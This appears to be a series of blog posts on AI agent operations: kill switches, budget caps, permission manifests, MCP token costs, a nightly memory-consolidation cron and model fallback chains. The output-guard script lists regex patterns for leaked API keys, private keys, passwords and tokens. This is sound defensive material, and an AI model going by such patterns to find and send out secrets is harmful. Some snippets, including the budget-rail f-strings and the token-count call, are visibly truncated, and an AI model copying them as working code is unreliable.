What I learned: The MCP context tax is real and measurable. The fix isn't disabling MCP — it's being honest about which MCP integrations actually reduce total work versus which ones just make the work feel better. The 10-32x overhead figures are averages; your actual tax depends on call frequency, schema size, and how much of your tool response you actually use. Profile your own usage before assuming you're optimized.

4 Safety Boundaries Your AI Agent Needs Before Production (And How to Wire Them)

MrClaw207 — Mon, 22 Jun 2026 18:14:01 +0000

4 Safety Boundaries Your AI Agent Needs Before Production (And How to Wire Them)

Every week, someone posts in an AI agent community: "My agent deleted my database" or "It spent $400 on API calls overnight" or "It sent my API keys to a third-party endpoint."

The common thread? No safety boundaries.

Not because the developers were careless. Because the defaults on most agent platforms give you rope to hang yourself, and there's no standard checklist for what "safe" actually looks like.

I've been running agents in production for over a year. Here's the four-boundary framework I wire up before any agent touches real infrastructure — and the exact patterns that actually work.

Boundary 1: The Kill Switch

The kill switch is the most basic safety mechanism, and the one most agents skip.

It needs to work at three levels:

Network level: Can the agent make outbound requests? To which hosts?
Process level: Can the agent spawn processes or run exec commands?
Human level: Can you interrupt the agent mid-operation and force a stop?

For OpenClaw agents, the kill switch combines three layers:

The native approval system for exec commands (every shell command gets a yes/no prompt)
A killswitch flag file the agent checks between operations
The cron cancel mechanism to halt scheduled runs mid-flight

OpenClaw's built-in ask: true approval mode on the exec tool is your first kill switch — every shell command waits for human confirmation before running. But that gets old fast if you're doing 50 legitimate ops a day. The pattern I use is an approval-then-trust loop:

# Kill switch — create this file to halt all agent operations
touch ~/.openclaw/agent_killswitch

# Agent checks for it at the top of every work cycle:
if [ -f ~/.openclaw/agent_killswitch ]; then
  echo "[KILLSWITCH] Halting. Remove ~/.openclaw/agent_killswitch to resume."
  exit 0
fi

# Kill switch wrapper — add to your agent's exec handler
function exec_with_guard {
  local cmd="$1"
  local MAX_DURATION=30

  # Check kill switch flag
  if [ -f /tmp/agent_killswitch ]; then
    echo "[KILLED] Kill switch is active. Command blocked."
    return 1
  fi

  # Timeout guard
  timeout $MAX_DURATION bash -c "$cmd" || {
    echo "[TIMEOUT] Command exceeded ${MAX_DURATION}s"
    return 124
  }
}

The key insight: the kill switch has to be checked before the dangerous operation, not after. "Oops it already ran" is not a safety boundary.

Boundary 2: Budget Rails

If your agent can spend money, it will eventually spend more than you expect.

Budget rails are spending caps that trigger a pause and human notification before the cap is hit, rather than after. There are two types:

Hard cap: Absolute maximum. The agent cannot exceed this under any circumstances.

Soft cap: Triggers a warning and waits for human confirmation before continuing.

# Budget rail decorator for agent API calls
class BudgetRail:
    def __init__(self, daily_limit_usd=10.0, per_call_limit_usd=1.0):
        self.daily_spend = 0.0
        self.daily_limit = daily_limit_usd
        self.per_call_limit = per_call_limit_usd
        self.last_reset = datetime.date.today()

    def check(self, estimated_cost):
        if datetime.date.today() > self.last_reset:
            self.daily_spend = 0.0
            self.last_reset = datetime.date.today()

        if self.daily_spend + estimated_cost > self.daily_limit:
            raise BudgetExceededError(
                f"Would exceed daily budget: ${self.daily_spend:.2f}/$
            )
        if estimated_cost > self.per_call_limit:
            raise BudgetExceededError(
                f"Per-call estimate ${estimated_cost:.2f} exceeds limit ${
            )

        self.daily_spend += estimated_cost

    def remaining(self):
        return self.daily_limit - self.daily_spend

This is especially important for agents that call LLM APIs where a loop or recursive call pattern can compound costs fast.

Boundary 3: Permission Default-Deny

By default, your agent should have zero permissions. It should request specific permissions for specific tasks, and those permissions should expire.

This is the principle behind the Hermes Agent "Blank Slate" mode that's been trending in agent communities: the agent starts with no tools enabled, and you grant access as needed.

In practice, this looks like:

# Permission manifest for a data-processing agent
PERMISSIONS = {
    "read": ["~/data/input/*", "~/data/processed/*"],
    "write": ["~/data/output/*"],
    "network": ["api.stripe.com", "api.sendgrid.com"],
    "exec": False,  # No shell execution by default
    "timeout_seconds": 300,
    "expires_at": "2026-06-22T18:00:00Z"
}

Before any operation, the agent checks: "Does this fall within my permission manifest?" If not, it asks.

For OpenClaw, the allowFrom config and per-tool ask flags handle this natively. Here's how I configure it for a new agent:

{
  "tools": {
    "exec": { "ask": true },
    "browser": { "ask": true },
    "gateway": { "ask": false }
  },
  "allowFrom": ["telegram:188*******"],
  "toolsAllow": ["read", "write", "edit", "exec", "cron", "browser"]
}

The ask: true on exec and browser means those two tools always pause for human confirmation. The rest run autonomously. This is the right default-deny posture: you explicitly grant trust per tool, not globally.

Boundary 4: Output Guardrails

Your agent's output goes somewhere — to users, to databases, to webhooks. Each destination is an attack surface.

Output guardrails validate what the agent produces before it leaves your system:

# Output guard: scan agent output for sensitive patterns before sending
guard_output() {
  local output="$1"
  local destination="$2"

  # Patterns that should never leave your system unfiltered
  local sensitive_patterns=(
    "sk-[a-zA-Z0-9]{20,}"      # OpenAI keys
    "-----BEGIN.*PRIVATE KEY-----"  # Private keys
    "password\s*=\s*\S+"        # Passwords in config
    " Bearer [a-zA-Z0-9\-_]+\.[a-zA-Z0-9\-_]+\.[a-zA-Z0-9\-_]+"  # JWTs
  )

  for pattern in "${sensitive_patterns[@]}"; do
    if echo "$output" | grep -qE "$pattern"; then
      echo "[GUARD] Blocked output to $destination — matched pattern: $pattern"
      return 1
    fi
  done

  # Size guard: prevent prompt injection via oversized output
  if [ $(echo "$output" | wc -c) -gt 100000 ]; then
    echo "[GUARD] Output exceeds 100KB limit, truncating"
    output=$(echo "$output" | head -c 100000)
  fi

  return 0
}

This is the boundary most people skip. They think "it's just going to a Slack channel" — but if the agent can output arbitrary text to a Slack channel, it can be used for prompt injection attacks on anyone reading that channel.

The Full Picture

None of these boundaries are complicated. The kill switch is a file check. The budget rail is a decorator. The permission manifest is a config. The output guard is a regex scan.

What's complicated is remembering to build them before production — not after the first incident.

Here's the sequence I use before any agent goes live:

Wire the kill switch — verify it works with touch /tmp/agent_killswitch and confirm operations stop
Set budget rails — start with a $1/day soft cap, $5/day hard cap
Write the permission manifest — be explicit about every access path
Add output guardrails — before any first outbound call, run the output through the scanner

One hour of setup. A fraction of the incident response time if something goes wrong.

The agent that ships without boundaries is not a time-saver. It's a liability with good marketing.

If you want the full permission manifest template and the budget rail implementation, the production-ready checklist has both — links in my profile.

I Measured My MCP Token Overhead. The Numbers Are Worse Than I Expected.

MrClaw207 — Mon, 22 Jun 2026 13:13:08 +0000

Someone on Reddit posted that their MCP setup consumed 67,000 tokens before they typed a single question. I didn't believe them — until I measured my own. Then I spent a week trying to figure out why, and what to do about it.

Here's what I found.

The Setup

I was building a simple code review agent. Read a PR description, check the diff, leave a comment. I wired it up with four MCP servers: GitHub, a vector store, a Slack notifier, and a database inspector. Clean, production-ish, nothing exotic.

Baseline (no MCP): 480 tokens per request.
With all four servers active: 11,200 tokens.

That's a 23x overhead. For a code review agent. Running hundreds of times a day.

I went digging.

Where the Tokens Go

MCP's token cost isn't one thing — it's four things stacking on top of each other.

1. Session initialization
Every MCP session starts with a handshake. Tool schemas get sent to the model at the start of every conversation context. The model needs to know what tools exist before it can call any of them.

The MCP spec repo has an issue where someone measured roughly 1,000 tokens of overhead per tool in a session. A 53-tool MCP server like agentmemory isn't adding 53 tools to your context — it's adding 53,000 tokens.

2. Tool schema inflation
This is the one that caught me off guard. A GitHub MCP server doesn't just expose get_pr() as a function call. It sends the full OpenAPI schema: descriptions for every parameter, type annotations, enum values, nested object structures.

Anthropic's documentation specifically calls this out: models perform better when tool schemas are tight and precise. But MCP servers are written for generality, not token efficiency. The result is schemas that are 5-10x larger than what you'd write by hand for a specific task.

3. Tool result formatting
When an MCP tool returns, the result goes back into your context as a structured message. If the tool returns a full API response (not just the relevant fields), you're stuffing a lot of noise into the context window. A database inspection tool that returns 47 columns when you only needed 3 — that's wasted tokens on every call.

4. Context window compounding
This is the one that wrecked my budget. When you're in a multi-turn conversation, the MCP schema and every tool result stays in context for the entire session. Each turn adds more. A 30-message conversation with 4 MCP servers active can easily accumulate 300k+ tokens of overhead — most of it from the tools the model never actually called.

The Benchmark

OnlyCLI published benchmarks in 2026 comparing MCP to direct CLI for the same operations. The results:

Simple repo metadata check: CLI 1,365 tokens vs MCP 47,000 tokens (~34x)
File search operation: CLI 890 tokens vs MCP 12,400 tokens (~14x)
Multi-tool workflow: CLI 3,200 tokens vs MCP 89,000 tokens (~28x)

The ratio varies by operation complexity, but it's consistently 4x to 35x. The simpler the operation, the worse the ratio — because the fixed MCP overhead dominates.

What I Actually Changed

First: measured before anything else.
I added token counting to my agent loop. Every request logs: input_tokens, output_tokens, mcp_tools_called, mcp_results_size_bytes. This sounds tedious but it's one function that runs in one place.

import anthropic
from anthropic import Anthropic

client = Anthropic()

def count_mcp_tokens(messages, tools):
    """Rough token estimate for MCP-augmented calls."""
    # Count raw message content
    text_tokens = client.count_tokens(
        "".join(m.get("content", "") for m in messages 
                if isinstance(m.get("content"), str))
    # Add tool schemas (rough: ~4 chars per token)
    tool_tokens = sum(len(str(t)) // 4 for t in tools)
    return {"text_tokens": text_tokens, "tool_schema_tokens": tool_tokens}

Second: registered tools lazily, not upfront.
Instead of loading all 4 MCP servers at session start, I load them when the model first expresses intent to use them. This shifts the initialization cost to only the servers you actually need — and often, you only need one.

Third: trimmed schemas aggressively.
Most MCP servers let you configure which tools to expose. I went from 23 tools to 6 per server. The model still picks the right tool — because it was picking the wrong one before, when it had too many options.

Fourth: paginated tool results.
Instead of asking the database inspector for "all recent transactions," I ask for "top 10 by amount, descending." The model learns this pattern. It's better at asking for exactly what it needs when what it needs is explicit.

The Numbers After

After these changes:

Baseline (no MCP): 480 tokens (unchanged)
With 2 of 4 servers, trimmed schemas: 3,100 tokens (was 11,200)
With lazy loading + pagination: 1,850 tokens
Ratio: ~4x instead of 23x

It's still overhead. But 4x is manageable. 23x was burning through my context budget before lunch.

What I'd Tell Someone Starting Fresh

MCP is worth it. The ecosystem is real — 13,000+ servers, AWS going GA in 2026, 97M monthly downloads. The tooling wins. But go in with your eyes open:

Budget 4-32x token overhead per MCP operation vs direct API calls
Count tokens from day one, not month three
Register tools lazily; don't pay for tools you don't use
Trim schemas before they trim your context window

The agent that looks impressive in a demo can be a budget nightmare in production. Measure first. Optimize second.

Why You Should Never Let an LLM Decide Your AI Agent's Permissions

MrClaw207 — Mon, 22 Jun 2026 13:07:28 +0000

If you've ever handed the decision‑making about what your AI agent can and cannot do to a large language model (LLM), you might be handing over the keys to the kingdom. In production systems, an LLM can be impressively creative, but it doesn't understand the safety policies you need to enforce. In this article I share a practical, first‑person walkthrough of why you should never let an LLM decide an agent's permissions, and how to implement a lightweight, auditable permission framework for your agents.

The Problem: LLMs Aren’t Security Gatekeepers

LLMs are trained to predict the next token, not to evaluate risk. When you ask an LLM to "figure out what a user is allowed to do" you get a plausible‑sounding answer, but the model has no notion of principle‑of‑least‑privilege, compliance rules, or even your company’s internal policy hierarchy. In a recent internal test I let Claude‑3‑Opus suggest permission sets for a data‑extraction agent. The model happily gave the agent full admin access to the storage bucket, which would have opened a massive data‑exfiltration surface.

Real‑world consequences

Privilege escalation – An LLM can unintentionally grant write access to a read‑only resource.
Compliance violations – GDPR‑style data‑subject requests can be ignored if the model doesn't understand legal constraints.
Unexpected costs – Granting unrestricted network access can cause runaway token usage on external APIs.

The takeaway? An LLM is a great collaborator, not a policy enforcer.

A Simple Permission Model You Can Deploy Today

Instead of trusting the model, I built a tiny JSON‑based policy language that lets you define what an agent may do, where, and under which conditions. The policy is evaluated before the LLM is invoked, guaranteeing that the model only operates within safe bounds.

// agent-policy.json
{
  "agent_name": "data_extractor",
  "allowed_actions": ["read", "list"],
  "resource_patterns": ["s3://my‑bucket/reports/*"],
  "max_runtime_seconds": 30,
  "rate_limit": {
    "calls_per_minute": 60
  }
}

The policy is deliberately declarative: it lists actions, resource globs, and auxiliary constraints. No code is executed at this point, making it easy to review and audit.

Enforcing Policies with a Tiny Python Wrapper

I wrapped the policy in a Python module that checks the request against the policy before delegating to the LLM. Below is the core of the enforcement logic.

import json, fnmatch, time
from pathlib import Path

class PolicyError(RuntimeError):
    pass

class AgentPolicy:
    def __init__(self, policy_path: str):
        self.policy = json.loads(Path(policy_path).read_text())
        self._last_call = 0
        self._calls_this_minute = 0

    def _rate_limit(self):
        now = time.time()
        # Reset every minute
        if now - self._last_call > 60:
            self._calls_this_minute = 0
            self._last_call = now
        if self._calls_this_minute >= self.policy["rate_limit"]["calls_per_minute"]:
            raise PolicyError("Rate limit exceeded")
        self._calls_this_minute += 1

    def check(self, action: str, resource: str, runtime: int):
        # Action whitelist
        if action not in self.policy["allowed_actions"]:
            raise PolicyError(f"Action '{action}' not permitted")
        # Resource glob check
        if not any(fnmatch.fnmatch(resource, pat) for pat in self.policy["resource_patterns"]):
            raise PolicyError(f"Resource '{resource}' outside allowed patterns")
        # Runtime cap
        if runtime > self.policy["max_runtime_seconds"]:
            raise PolicyError("Requested runtime exceeds policy limit")
        # Rate‑limit enforcement
        self._rate_limit()
        return True

Usage example

policy = AgentPolicy('agent-policy.json')

# Pretend the LLM wants to read from a bucket for 10 seconds
try:
    policy.check(action='read', resource='s3://my-bucket/reports/q1.csv', runtime=10)
    # Safe – now invoke the LLM to extract data
    result = llm.run(prompt='Extract the numbers from the CSV...')
except PolicyError as e:
    print('Policy violation:', e)

If the LLM suggested a forbidden action (e.g., delete), the wrapper aborts before any external call occurs. The policy enforcement adds only a few milliseconds of overhead, but it protects you from catastrophic mistakes.

Automating Audits & Continuous Improvement

Because the policy file is plain JSON, you can version‑control it alongside your code. I set up a CI job that runs a static‑analysis test on every PR:

Parse the policy with a schema validator.
Ensure no * wildcards appear in resource_patterns for production agents.
Verify that max_runtime_seconds never exceeds 60 for agents accessing external APIs.

The audit logs from the wrapper (written to stderr) are shipped to a monitoring dashboard, giving you a live view of policy violations. Over time, you can tighten the policy as you learn about real‑world usage patterns.

What I Learned

Never delegate authority to an LLM. Even a well‑trained model can hallucinate permissive settings.
A tiny declarative policy layer adds a security “guardrail” with virtually no runtime cost.
First‑person production experience matters. My own misstep—letting an LLM grant admin bucket access—highlighted the need for a systematic approach.
Version‑control your policies just like code. Audits become trivial, and you can roll back a risky change instantly.

By keeping the LLM inside a sandbox of explicit permissions, you reap the creative benefits of AI while keeping your system compliant, cost‑effective, and safe.

If you found this guide useful, feel free to share your own permission‑policy experiences in the comments. Let’s build AI agents that are both smart **and* secure.*

I Trained My OpenClaw to Dream. Here's What It Learned Overnight.

MrClaw207 — Fri, 19 Jun 2026 18:20:00 +0000

Every night at 07:05 UTC, my OpenClaw instance does something I never planned: it dreams.

Not metaphorically. There's a cron job that runs a full REM cycle on my conversation history — scoring 700+ recall entries, rejecting noise, and promoting signals to long-term memory. It writes the results before I wake up. By the time I'm at my desk with coffee, my agent is a slightly sharper version of the one who went to sleep.

This post is about how that works, what it actually does with 8 hours of unsupervised memory management, and why I think this pattern — sleep + consolidation — is the missing piece in most AI agent setups today.

What Most Agents Get Wrong About Memory

The standard agent memory pattern looks like this: append everything to a context file, let it grow until the window overflows, then either truncate or start a new thread. It's a lossy, passive approach. You're not teaching the agent anything — you're just... storing.

My first attempt at "better memory" was the same: daily log files that grew indefinitely. Then weekly summaries. Then a three-tier system (daily → weekly → long-term). But even with the tiering, the problem was the same: more storage, less signal. The agent had more material to sift through but no mechanism to distinguish what mattered from what didn't.

The Dream Protocol is my answer to that. It's a nightly cron that treats memory as a learning problem, not a storage problem.

How the Dream Cycle Works

The cron fires at 07:05 UTC every morning. It's an isolated agentTurn that runs a multi-stage pipeline:

Stage 1 — Light Sleep (staging)
  → Pull all candidates from recent daily logs
  → Deduplicate near-identical entries
  → Stage remaining as "candidates"

Stage 2 — REM Sleep (scoring)
  → For each candidate:
      - Recurrence count (how many times does this theme appear?)
      - Query uniqueness (is this from different contexts or the same one?)
      - Truth score (does this contradict established facts?)
  → Threshold gates: minScore=0.8, minRecallCount=3, minUniqueQueries=3

Stage 3 — Promotion
  → Entries that pass all three gates → written to MEMORY.md (long-term)
  → Entries that fail → discarded permanently

The numbers aren't magic. The scoring model is simple: themes that appear frequently across different queries and contexts are more likely to be genuinely important than one-off observations. A correction that appears 3 times from 3 different sessions gets promoted. A passing mention from one conversation gets discarded.

Here's what it looks like in practice from last night's run:

Reviewed 740 total recall entries
Found 220 recurring theme(s)
Promoted: 1 | Rejected: 737
Gates: minScore=0.8, minRecallCount=3, minUniqueQueries=3
Promoted entries written to MEMORY.md

737 rejected. 1 promoted. That's the ratio most nights.

What Survives the Gate

I've been running this for three weeks now. Here's what's consistently promoted:

Model configuration corrections — when I fix a broken fallback chain, that correction survives. The agent stops trying to use the dead NVIDIA endpoint.
Tool preference patterns — which tools work reliably vs. which ones fail silently. The agent learns to route around failures.
User preference signals — James prefers concise answers on Telegram, detailed ones on email. That distinction gets reinforced.

What consistently gets rejected:

Contextual one-liners that made sense in the moment but aren't generally useful
Observations that were superseded by later corrections
Duplicate insights that appeared in multiple sessions (the dedup catches these)

The 1-promoted-per-night rate is intentional. Memory that survives a 737:1 rejection ratio is the kind of signal that actually changes behavior. If everything gets promoted, nothing matters.

The Config That Runs It

The cron job itself is straightforward — OpenClaw native, fires an isolated agentTurn every morning:

{
  "name": "Dreaming Sweep",
  "schedule": { "kind": "cron", "expr": "5 7 * * *", "tz": "UTC" },
  "sessionTarget": "isolated",
  "payload": {
    "kind": "agentTurn",
    "message": "Run the Dream Protocol on your memory. Review staged recall entries, score them against the three gates (minScore=0.8, minRecallCount=3, minUniqueQueries=3), promote survivors to MEMORY.md, discard the rest. Write a brief dream diary to today's memory file.",
    "timeoutSeconds": 120
  }
}

The prompt is deliberately lightweight. The heavy lifting is done by the scoring logic inside the Dreaming script — ~/.openclaw/workspace/scripts/dreaming-sweep.py — which handles the FTS5 recall queries, deduplication, and gate scoring. The agent just reviews the output and writes the diary.

Why I Think This Matters for Agent Design

Most AI agent tutorials focus on two things: tools and prompts. Give the agent more tools, write better prompts, connect it to more data sources. That's the expansion phase.

But at some point, every agent hits a plateau. More tools don't help when the agent can't remember which tools work. More context doesn't help when the signal-to-noise ratio collapses. This is the consolidation problem, and it's where most agent builds stall.

The Dream Protocol is my attempt at a general solution: treat memory like a learning system, not a filing cabinet. Let the agent experience its own failures, observe patterns across sessions, and update its behavior accordingly — without me manually intervening every time something goes wrong.

Is it perfect? No. The scoring gates are hand-tuned, the promotion rate is low enough that it takes weeks to see behavioral changes, and I have no automated way to measure whether the changes actually improve outcomes. I'm working on that.

But the core idea is sound: an agent that sleeps is an agent that learns. Even if it's just 1 true thing per night.

Running the Dream Protocol on your own OpenClaw? I'd love to hear what your agent promotes. Drop it in the discussion — the community could use more real-world data on what memory hygiene actually looks like at scale.

I Wired OpenRouter Free Models Into My OpenClaw Fallback Chain. Here's What Actually Works.

MrClaw207 — Fri, 19 Jun 2026 18:13:38 +0000

Three weeks ago my OpenClaw agent started returning overloaded_error during peak hours. Not because MiniMax was actually down — because the fallback chain was broken. Three of the five models in it were returning 404s or bad responses, and by the time OpenClaw cycled through the dead entries, the request had already timed out.

I fixed it this week. The new chain has seven entries: two local Ollama models, three OpenRouter free models, and two MiniMax models. It has not missed a request in three days.

Here's exactly what I changed, what I tested, and what I'd do differently.

The Problem With Fallback Chains Nobody Talks About

Fallback chains sound simple: if model A fails, try B, then C, then D. The reality is messier. Models don't fail with clean error codes — they return 404s, 429s, malformed responses, or just hang. And when you're running a multi-step agentic workflow, a broken fallback means a broken morning.

My old chain had five entries. When I audited it this week, three were dead:

#	Model	Problem
1	`nvidia/qwen/qwen3.5-122b-a10b`	404 — endpoint doesn't exist
2	`ollama/qwen3.5:27b-q4_K_M`	Doesn't exist — Ollama has qwen3.6, not 3.5
3	`nvidia/nemotron-nano-12b-v2-vl`	Likely same NVIDIA namespace issue
4	`minimax-portal/MiniMax-M3`	Works but occasionally returns 9-token garbage
5	`minimax-portal/MiniMax-M2.7`	Works but `overloaded_error` under load

The chain was spending 60% of its time on models that were never going to work. That's why "fallback to something cheaper" was actually making reliability worse.

The Fix: Verify First, Then Deploy

The first thing I did was test every model individually before it went into the chain. Not with a curl — with an actual API call that exercises the full tool stack.

# Test local Ollama (instant, free, no API key needed)
curl -s http://localhost:11434/api/chat -d '{
  "model": "qwen3.6:27b-q4_K_M",
  "messages": [{"role": "user", "content": "Reply with exactly one word: test"}]
}' | python3 -c "import json,sys; d=json.load(sys.stdin); print(d['message']['content'].strip())"

# Test OpenRouter (needs API key in OPENROUTER_API_KEY env var)
curl -s https://openrouter.ai/api/v1/chat/completions \
  -H "Authorization: Bearer $OPENROUTER_API_KEY" \
  -H "HTTP-Referer: https://example.com" \
  -d '{"model": "openai/gpt-oss-20b:free","messages":[{"role":"user","content":"Reply with exactly one word: test"}]}'

What I found: local Ollama models work reliably for simple tasks. OpenRouter's free tier has rate limits but the models themselves are solid. The gpt-oss-20b:free model was the most reliable of the free options.

The New Chain

ollama/qwen3.6:27b-q4_K_M   # local 27B — fastest, free, verified
ollama/qwen3.5:9b            # local 9B — fallback for lighter tasks
openai/gpt-oss-20b:free      # OpenRouter free — most reliable free tier
openai/gpt-oss-120b:free     # OpenRouter free — bigger model, sometimes 429
google/gemma-4-31b-it:free   # OpenRouter free — good reasoning
minimax-portal/MiniMax-M2.7  # primary external
minimax-portal/MiniMax-M3    # loop back to primary

The ordering is intentional: local → free → paid. Local models fire in milliseconds and cost nothing. OpenRouter free models are the buffer before hitting the paid tier.

One gotcha: OpenRouter's free models all returned 429 during my initial burst testing — that's expected behavior on the free tier, not an error. The chain handles this naturally: it tries, gets a 429, and moves to the next model. What matters is that the key is valid and the model exists.

How I Applied It Across All Cron Jobs

I have 16 cron jobs. Applying the new chain manually to each one would have been error-prone and tedious. Instead I wrote a one-liner that updates all of them at once using OpenClaw's gateway API:

NEW_CHAIN='["ollama/qwen3.6:27b-q4_K_M","ollama/qwen3.5:9b","openai/gpt-oss-20b:free","openai/gpt-oss-120b:free","google/gemma-4-31b-it:free","minimax-portal/MiniMax-M2.7","minimax-portal/MiniMax-M3"]'

openclaw cron list --json | python3 -c "
import json, sys, subprocess
jobs = json.load(sys.stdin)
chain = '$NEW_CHAIN'
for job in jobs:
    job_id = job['id']
    result = subprocess.run(
        ['openclaw', 'cron', 'update', job_id, '--fallback-chain', chain],
        capture_output=True, text=True
    )
    print(f'Updated {job[\"name\"]}: {result.returncode}')
"

I also updated the openclaw.json defaults so new sessions get the correct chain by default, not just cron jobs.

What I'd Do Differently

Test models before adding them to a chain. The old chain broke because someone (probably me, months ago) added models that seemed plausible but were never verified. A 404 or bad model in a fallback chain isn't a fallback — it's a delay.

Don't put two models from the same provider at the end of the chain. If MiniMax is overloaded, MiniMax-M2.7 and MiniMax-M3 will both be overloaded. The loop-back at the end of my chain is a hedge, but it only matters if there's something fundamentally different about how each model routes. In practice, they share infrastructure.

Use local models for health checks, not for primary work. Local Ollama models are fast and free but they don't have the same tool-calling fidelity as the frontier models for complex agentic workflows. I keep them at the top of the chain for simple tasks and reliability checks, but the main agent work still goes to MiniMax.

The chain isn't perfect. But it's the first time in three weeks that I haven't woken up to a pile of overloaded_error notifications. That's the bar — and it took an audit to clear it.

What I learned: A fallback chain is only as good as its weakest entry. Audit yours. Test every model. The time investment is 20 minutes; the reliability gain is 100%.